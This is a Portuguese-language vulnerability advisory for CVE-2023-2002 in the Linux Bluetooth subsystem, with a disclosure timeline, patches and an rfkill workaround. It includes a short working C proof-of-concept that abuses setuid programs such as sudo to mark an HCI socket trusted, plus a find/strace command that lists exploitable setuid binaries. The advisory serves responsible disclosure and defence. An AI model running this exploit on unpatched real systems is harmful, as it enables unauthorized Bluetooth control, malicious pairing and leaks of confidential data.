
Linux Bluetooth - Executar comandos de gerenciamento arbitrários como um usuário sem privilégios
Foi encontrada uma verificação de permissão insuficiente no subsistema Bluetooth do kernel Linux ao lidar com chamadas de sistema ioctl de sockets HCI. Isso faz com que tarefas sem a devida capacidade CAP_NET_ADMIN possam facilmente marcar sockets HCI como confiáveis. Sockets confiáveis têm a finalidade de permitir o envio e o recebimento de comandos e eventos de gerenciamento, como parear ou conectar a um novo dispositivo. Como resultado, usuários sem privilégios podem obter um socket confiável, levando à execução não autorizada de comandos de gerenciamento. O exploit requer apenas a presença de um conjunto de programas setuid comumente usados (por exemplo, su, sudo).
A causa direta da vulnerabilidade é o seguinte trecho de código:
static int hci_sock_ioctl(struct socket *sock, unsigned int cmd,
unsigned long arg)
{
...
if (hci_sock_gen_cookie(sk)) {
...
if (capable(CAP_NET_ADMIN))
hci_sock_set_flag(sk, HCI_SOCK_TRUSTED);
...
}
...
}
A implementação de uma chamada de sistema ioctl verifica se a tarefa que invoca a chamada possui a capacidade CAP_NET_ADMIN necessária para atualizar o flag HCI_SOCK_TRUSTED. No entanto, essa verificação considera apenas a tarefa chamadora, que pode não ser necessariamente quem abriu o socket. Por exemplo, o socket pode ser compartilhado com outra tarefa usando fork e execve, em que a última tarefa pode ser privilegiada, como um programa setuid. Além disso, se o socket for usado como stdout ou stderr, uma chamada ioctl é feita para obter parâmetros de tty, o que pode ser verificado pelo comando strace.
# strace -e trace=ioctl sudo > /dev/null
ioctl(3, TIOCGPGRP, [30305]) = 0
ioctl(2, TIOCGWINSZ, {ws_row=45, ws_col=190, ws_xpixel=0, ws_ypixel=0}) = 0
As chamadas ioctl para parâmetros de tty nunca terão sucesso em sockets HCI, mas são suficientes para marcar sockets HCI como confiáveis. Portanto, um programa sem privilégios pode manter sockets HCI confiáveis, permitindo que ele envie e receba comandos e eventos de gerenciamento, já que o flag de confiança nunca será limpo.
A exploração pode ser tão simples quanto o seguinte:
int fd = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
/* By executing sudo with an HCI socket as stderr, an ioctl
* system call makes the HCI socket privileged (i.e. with
* the HCI_SOCK_TRUSTED flag set).
*/
int pid = fork();
if (pid == 0) {
dup2(fd, 2);
close(fd);
execlp("sudo", "sudo", NULL);
}
waitpid(pid, NULL, 0);
struct sockaddr_hci haddr;
haddr.hci_family = AF_BLUETOOTH;
haddr.hci_dev = HCI_DEV_NONE;
haddr.hci_channel = HCI_CHANNEL_CONTROL;
/* The socket has not been bound. It can be bound to the
* management channel now. After that, the HCI_SOCK_TRUSTED
* flag is still present, as it will indeed never be cleared.
*/
bind(fd, (struct sockaddr *)&haddr, sizeof(haddr));
Além disso, o btmon pode ser usado para confirmar que o socket se torna confiável e que comandos de gerenciamento sucessivos terão sucesso:
# btmon
@ RAW Open: sudo (privileged) version 2.22
@ RAW Close: sudo
@ MGMT Open: sudo (privileged) version 1.22
@ MGMT Command: Set Powered (0x0005) plen 1
Powered: Disabled (0x00)
@ MGMT Event: Command Complete (0x0001) plen 7
Set Powered (0x0005) plen 4
Status: Success (0x00)
Um exploit PoC completo para alterar o estado de energia de dispositivos Bluetooth pode ser encontrado [no GitHub][exp].
Se explorada com sucesso, a vulnerabilidade identificada tem o potencial de comprometer a confidencialidade, a integridade e a disponibilidade da comunicação Bluetooth. Atacantes podem explorar essa vulnerabilidade para parear o controlador com dispositivos maliciosos, mesmo que o serviço Bluetooth esteja desabilitado ou não instalado. Também é possível impedir que dispositivos específicos sejam pareados, ou ler algumas informações confidenciais, como os dados OOB.
A vulnerabilidade explorável está presente no kernel Linux desde o v4.9. Mais especificamente, ela se torna explorável após o [commit f81f5b2db869][cm] ("Bluetooth: Send control open and close messages for HCI raw sockets"). Antes desse commit, explorar a vulnerabilidade exigia enganar um programa privilegiado para que ele fizesse bind de um socket HCI, o que é muito difícil (senão impossível) de acionar na prática. No entanto, após o commit, basta enganar um programa privilegiado para que ele invoque uma chamada de sistema ioctl, o que depende apenas da existência de um programa setuid, como ilustrado acima.
A exploração funciona enquanto houver programas setuid (ou, mais precisamente, programas com a capacidade CAP_NET_ADMIN) que invoquem chamadas ioctl em stdin, stdout ou stderr. Na maioria das distribuições Linux, um teste rápido (porém bastante grosseiro) revela que vários programas setuid usam chamadas de sistema ioctl, as quais são marcadas com 'V' na tabela abaixo:
# find . -user root -perm -4000 -exec sh -c "strace -e trace=ioctl {} < /dev/null 2>&1 > /dev/null | grep ioctl > /dev/null && echo -n 'V ' || echo -n 'S '; echo {};" \; | sort
S ./chage
S ./expiry
S ./fusermount
S ./fusermount3
S ./gpasswd
S ./ksu
S ./mount.cifs
S ./sg
S ./umount
V ./chfn
V ./chsh
V ./mount
V ./newgrp
V ./passwd
V ./pkexec
V ./screen-4.9.0
V ./su
V ./sudo
V ./unix_chkpwd
Após verificar manualmente a saída do strace, constatou-se que todos esses usuários de ioctl usam chamadas ioctl em stdin, stdout ou stderr para obter ou definir alguns parâmetros de tty. Observe que exatamente nenhum argumento é passado para esses programas setuid. Se alguns argumentos elaborados forem passados, o número de usuários de ioctl pode aumentar. Como resultado, várias distribuições Linux podem ser vulneráveis à exploração.
Como observação adicional, no entanto, é improvável que dispositivos Android sejam afetados, pois a exploração exige a existência de programas setuid, que o Android [evita usar][su] há algum tempo. Além disso, também não há aplicativos com a capacidade CAP_NET_ADMIN no Android.
[Um patch][fi] foi enviado para a lista de discussão linux-bluetooth, que corrige essa vulnerabilidade substituindo capable() por sk_capable(), em que sk_capable() verifica não apenas a tarefa atual, mas também se quem abriu o socket possui a capacidade necessária. Ao mesmo tempo, [outro patch submetido][se] reforça a lógica de processamento de ioctl ao verificar a validade do comando no início de hci_sock_ioctl() e retornar com um código de erro ENOIOCTLCMD imediatamente, antes de fazer qualquer coisa, se o comando for inválido.
Como alternativa de contorno, se os dispositivos Bluetooth não estiverem sendo usados (mas não for viável remover fisicamente o dispositivo), é possível simplesmente bloquear os dispositivos usando rfkill, o que impedirá que eles sejam ligados. Ao fazer isso, o envio de comandos de gerenciamento para ligar dispositivos Bluetooth não terá sucesso. Isso pode reduzir significativamente o impacto dessa vulnerabilidade.
Há duas maneiras de evitar vulnerabilidades semelhantes no futuro: reforçar o kernel Linux e reforçar os programas setuid do espaço do usuário.
Esta vulnerabilidade compartilha exatamente o mesmo princípio do [CVE-2014-0181][c14]. No caso do CVE-2014-0181, o problema era a falta de um mecanismo para autorizar operações Netlink com base em quem abriu o socket, o que permite que usuários locais modifiquem configurações de rede usando um socket Netlink como stdout ou stderr de um programa setuid.
2023-04-04: Descobri esta vulnerabilidade durante minha auditoria da pilha de protocolo Bluetooth no kernel Linux.
2023-04-09: Reportei esta vulnerabilidade à equipe de segurança do kernel Linux e aos fornecedores de distribuições, com uma versão inicial dos patches.
2023-04-12: Esta vulnerabilidade recebeu um ID de CVE, que é CVE-2023-2002.
2023-04-13: Após vários dias de discussão com os mantenedores, os patches foram atualizados de acordo.
2023-04-16: A vulnerabilidade foi divulgada na lista de discussão pública oss-security e no GitHub (aqui). Dois patches foram enviados para a lista de discussão pública linux-bluetooth ([primeiro][fi], [segundo][se]).
2023-05-01: A correção chegou ao kernel mainline (como parte da janela de merge do v6.4), bem como nas versões v6.3.1, v6.2.14, v6.1.27 e v5.15.110. Ela também foi enfileirada para o próximo lançamento estável dos kernels v5.10, v5.4, v4.19 e v4.14.
2023-05-17: Finalmente, a correção chegou a todos os kernels estáveis. Especificamente, ela também foi aplicada aos kernels v5.10.180, v5.4.243, v4.19.283 e v4.14.315.